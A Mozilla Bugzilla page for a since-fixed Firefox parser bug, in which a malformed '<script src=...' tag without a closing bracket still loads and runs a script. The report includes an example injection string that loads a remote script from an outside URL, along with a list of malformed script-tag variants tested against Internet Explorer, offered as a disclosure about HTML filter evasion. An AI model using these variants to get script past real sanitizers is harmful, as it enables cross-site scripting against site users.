Last Comment Bug 560927 - Possibility of script injection: FF incorrectly parses & interprets malformed <script> tag
: Possibility of script injection: FF incorrectly parses & interprets malformed...
Status: RESOLVED FIXED
[sg:low] XSS filter evasion? [fixed b...
:
Product: Core
Classification: Components
Component: HTML: Parser (show other bugs)
: unspecified
: x86_64 Linux
: -- normal (vote)
: ---
Assigned To: Henri Sivonen (:hsivonen)
:
: Andrew Overholt [:overholt]
Mentors:
Depends on:
Blocks: xss
  Show dependency treegraph
 
Reported: 2010-04-21 12:09 PDT by Daniel Trebbien
Modified: 2012-05-24 15:22 PDT (History)
6 users (show)
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
unaffected
wontfix


Attachments

Description Daniel Trebbien 2010-04-21 12:09:03 PDT
User-Agent:       Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a5pre) Gecko/20100420 Minefield/3.7a5pre
Build Identifier: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.3a5pre) Gecko/20100420 Minefield/3.7a5pre

------------------------ test.html ------------------------
<!DOCTYPE html>
<html>
<body>
<script src="test.js"</script>
</body>
</html>
---------------------- END test.html ----------------------

------------------------- test.js -------------------------
window.alert("Uh oh");
----------------------- END test.js -----------------------


The above is a test case for this issue. If `test.html` and `test.js` are placed into the same directory and `test.html` is opened, then Firefox will incorrectly load & run `test.js`. This bug still occurs if `test.html` and `test.js` are loaded via HTTP.

This is potentially a problem for web sites that display user-supplied HTML. Many web sites will filter out HTML from user input that could cause script injection, but the filter may not remove text such as '<script src="http://5z8.info/inject_worm_f1k9a_facebook-hack"</script>' because it is not valid HTML. Part of the problem would be that non-HTML is not being escaped by the web site, but another part is Firefox's handling of the malformed HTML.

Reproducible: Always

Steps to Reproduce:
1. Create `test.html` and `test.js` in the same directory with the given contents.
2. Select "File" -> "Open File...". Browse to `test.html` and open it.
Actual Results:  
An alert box pops up with the text "Uh oh", indicating that Firefox parsed the malformed text '<script src="test.js"</script>' as an HTML <script> tag and loaded & executed `test.js`.

Expected Results:  
There should not be an alert box.
Comment 1 Boris Zbarsky [:bz] (still a bit busy) 2010-04-21 12:31:48 PDT
The HTML5 parser changes the behavior here...  Not sure how feasible that is with the old parser.
Comment 2 Jesse Ruderman 2010-04-25 12:32:51 PDT
Do other browsers handle this markup differently?  (Only for script tags, or for all tags?  Does it depend on whether there's a space after the attribute?)

This might be a dup of bug 226495.
Comment 3 Boris Zbarsky [:bz] (still a bit busy) 2010-04-25 19:56:43 PDT
> Do other browsers handle this markup differently? 

For this specific markup in this bug, yes.
Comment 4 Daniel Trebbien 2010-04-26 10:08:00 PDT
> Do other browsers handle this markup differently?

Yes. Both Internet Explorer 6 SP3 and Internet Explorer 8 do not load & execute `test.js` for this specific markup.

> Does it depend on whether there's a space after the attribute?)

IE 6 SP3 does not execute `test.js` if there is a space after the attribute, as in:
<script src="test.js" </script>

It does not execute `test.js` for these, additional cases:
<script src="test.js"
<script src="test.js">
<script src="test.js"/>
<script src="test.js" />
<script src="test.js"><script>
<script src="test.js"<b>test</b>
<script src="test.js"></
<script src="test.js"></>
<script src="test.js"></  script
<script src="test.js"></  script>

IE 6 SP3 loads & executes `test.js` with (at least):
<script src="test.js"></script>
<script src="test.js"><script></script>
<script src="test.js"<b>test</b></script>
<script src="test.js"></script
Comment 5 Josh Aas 2012-03-08 08:27:58 PST
Can you look into this Henri?
Comment 6 Henri Sivonen (:hsivonen) 2012-03-09 05:13:08 PST
This was fixed by the HTML5 parser landing.

I think we should keep this bug marked security-sensitive until the 3.6 EOL.

Note You need to log in before you can comment on or make changes to this bug.